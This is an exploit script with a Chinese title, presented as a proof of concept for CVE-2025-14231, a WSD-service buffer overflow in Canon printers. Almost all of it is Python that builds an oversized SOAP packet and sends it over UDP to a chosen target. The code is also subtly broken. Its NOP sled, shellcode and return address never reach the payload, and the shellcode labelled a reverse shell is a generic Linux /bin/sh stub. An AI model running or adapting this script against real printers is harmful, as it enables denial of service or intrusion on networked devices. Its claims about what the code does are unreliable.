CVE-2025-14231 佳能打印机WSD服务缓冲区溢出漏洞

# CVE-2025-14231 PoC - WSD Buffer Overflow in Canon Printers # Target: Canon laser printers with WSD service enabled # Affected firmware: v06.02 and earlier import socket import struct def create_malicious_wsd_packet(): """Generate a malicious WSD SOAP envelope for buffer overflow""" # WSD SOAP envelope header soap_header = b'''<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"> <soap:Header> <wsa:Action>http://schemas.xmlsoap.org/ws/2004/09/transfer/Get</wsa:Action> <wsa:MessageID>urn:uuid:12345678-1234-1234-1234-123456789012</wsa:MessageID> </soap:Header> <soap:Body> ''' # Malicious payload targeting buffer overflow # NOP sled + shellcode + return address nop_sled = b'\x90' * 100 # Simple reverse shell shellcode (example) shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' # Return address pointing to NOP sled (needs adjustment per firmware) return_addr = struct.pack('<I', 0x41414141) # Placeholder address # Overflow string with repeated pattern overflow_pattern = b'A' * 500 # Malicious print job with oversized field malicious_body = f''' <wst:GetPrinterAttributes xmlns:wst="http://schemas.example.com/ws/2006/01/wsd"> <wst:Attribute ns:Name="PrinterName">{overflow_pattern.decode('latin-1')}</wst:Attribute> <wst:Attribute ns:Name="DocumentName">{overflow_pattern.decode('latin-1')}</wst:Attribute> </wst:GetPrinterAttributes> </soap:Body> </soap:Envelope> '''.encode('utf-8') return soap_header + malicious_body def send_exploit(target_ip, target_port=3702): """Send exploit to target WSD service""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) payload = create_malicious_wsd_packet() try: print(f"[*] Sending exploit to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Exploit packet sent") # Try to receive response try: data, addr = sock.recvfrom(4096) print(f"[*] Received response from {addr}") except socket.timeout: print("[*] No response received (target may be vulnerable)") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-14231-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)